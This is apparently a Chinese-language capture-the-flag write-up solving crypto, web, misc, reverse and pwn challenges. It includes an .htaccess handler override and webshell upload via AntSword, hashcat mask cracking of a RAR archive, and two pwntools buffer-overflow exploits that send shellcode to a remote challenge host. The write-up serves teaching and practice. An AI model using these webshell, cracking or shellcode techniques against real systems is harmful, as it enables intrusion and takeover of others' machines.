0x00 Crypto

1)你爱吃培根吗

题目是个txt文件,内容如下

BeLieVe noT aLl ThAT yOU SEE NoR HALF WHAt YOu heAR beLi.
HINT:注意大小写!为什么有大写有小写呢?
得到的flag直接小写包flag{}即可。

大写字母为A,小写字母为B,转换如下:

ABABBABBBABABABAABAAAAAABAAAAAAAABAABBBAABBAB

在线网站解密:http://ctf.ssleye.com/baconian.html

得到flag

2)费纳姆

题目为txt文件,内容如下

cipher:000001100010110001111001110000001110000111000111100101100001001
key:BEAUTIFUL
得到的内容大写直接包flag{}即可。

将key转换成二进制,然后简单的异或,脚本如下

c = ['0000011', '0001011', '0001111', '0011100', '0000111', '0000111', '0001111', '0010110', '0001001'  ]
k = ['01000010', '01000101', '01000001', '01010101', '01010100', '01001001', '01000110', '01010101', '01001100']
flag = ''

for i in range(9):
    a = chr(int(c[i],2) ^ int(k[i],2))
    print(a)
    flag += a

print(flag)

得到flag

3)异或

题目为txt文件,内容如下

crypt_text = 'VYWVYVU_U'
key = 'SYS'
plain_text = ???
1)得到的结果进行MD5加密提交
2)得到的结果对AES一题有所帮助

密文与key循环异或,脚本如下

crypt_text = 'VYWVYVU_U'
key = 'SYSSYSSYS'
flag = ''

for i in range(9):
    a = ord(crypt_text[i]) ^ ord(key[i])
    flag += str(a)
    print(flag)

4)RSA

题目给出加密脚本和密文

加密脚本:

flag = open('flag.txt','r').read()
N = 221
e = 5
enc = b''

for i in flag:
    enc += bytes([pow(ord(i),e,N)])

encrypt = open('encrypt','wb')
encrypt.write(enc)
encrypt.close()

先去分解N,得到p,q

根据p,q求出s=(p-1)*(q-1)

然后计算出d,再解密文

脚本如下:

import gmpy2
enc = open('encrypt','rb').read()
N = 221
e = 5
p = 13
q = 17
s = (p-1)*(q-1)
d = gmpy2.invert(e, s)
flag = ''

for i in enc:
    m = pow(i,d,N)
    flag += chr(m)

print(flag)

0x01 Web

1)绕过

题目如下

先匹配php,然后过滤php

不过第一个正则匹配/im是多行匹配,我们直接在前面加个%0a就可以了

2)$$

题目如下

感觉这题有问题,过滤了一堆没用的东西,不知道要考啥

poc:

?c=flag

3)这是文件上传呢

文件上传的题

先看源码

没有过滤.htaccess,那么先上传.htaccess文件

SetHandler application/x-httpd-php

上传成功

再上传个图片马

用蚁剑连接

成功连接,用虚拟终端查看flag文件

无法执行命令

利用蚁剑重新上传一句话木马,并删除.htaccess文件

利用蚁剑插件

成功上传了代理脚本

连接代理脚本

可以访问所有目录,直接查看flag

4)unserialize

思路很清晰

先把$a序列化,然后base64编码即可

<?php
echo serialize("welcome!!!")
?>
s:10:"welcome!!!";

base64编码

czoxMDoid2VsY29tZSEhISI7

poc:

?b=czoxMDoid2VsY29tZSEhISI7

0x02 Misc

1)炸药包

解压缩,得到一个压缩包和一个隐藏图片

压缩包提示密码为????504,因此利用掩码爆破

$ rar2john 504.rar
$ hashcat -a 3 -m 13000 --force "\$rar5\$16\$85133349fb9969ad18f5dd704a8fdc09\$15\$8983ccc15fef0e2f5a2d1ceec29dd156\$8\$0156ae3eccefed89" "?d?d?d?d504" -o out.txt

解得密码1024504

用密码解开压缩包,得到一个加密的docx文件

扫描之前隐藏图片那个二维码,得到2021504

用密码解开docx文件得到flag

2)镜像

题目给出三个E01文件

用挂盘工具将镜像挂载,然后使用R-studio会自动组raid阵列

打开磁盘中的test.txt即可得到flag

0x03 Reverse

1)use_jadx_open_it.apk

下载好apk,直接用jeb打开就能看到flag

0x04 Pwn

1)pwn1

先看main函数

read读取50字节到buf,然后拷贝buf内容到b,gets存在溢出。

查看b变量

b变量在bss段,那么思路就很清楚了

read处输入shellcode,然后gets处溢出到b即可

exp如下:

from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
context.os = 'linux'
context.terminal = ['tmux','splitw','-h']
#r = process('./pwn')
r = remote('47.105.176.181',28019)

padding = 120 

shell_addr = 0x06010C0

shellcode = asm(shellcraft.sh())
r.sendline(shellcode)

payload = 'a' * padding
payload += p64(shell_addr)

r.sendlineafter('this?',payload)


r.interactive()

2)pwn2

分析main函数

gets处存在溢出,变量为v4,printf帮我们把v4的地址打印了出来

解题思路就是接收v4的地址,然后在gets处输入payload溢出到v4

exp:

from pwn import *
context.arch = "amd64"
context.log_level = 'debug'
context.os = 'linux'
context.terminal = ['tmux','splitw','-h']
#r = process('./pwn2')
r = remote('47.105.176.181',28000)

if args.G:
	gdb.attach(r)

buf_addr = r.recvline()
a = int(buf_addr[:-1],16)
print hex(a)

padding = 120
shellcode = asm(shellcraft.sh())

payload = shellcode
payload = payload.ljust(120,'a')
payload += p64(a)
r.sendline(payload)

r.interactive()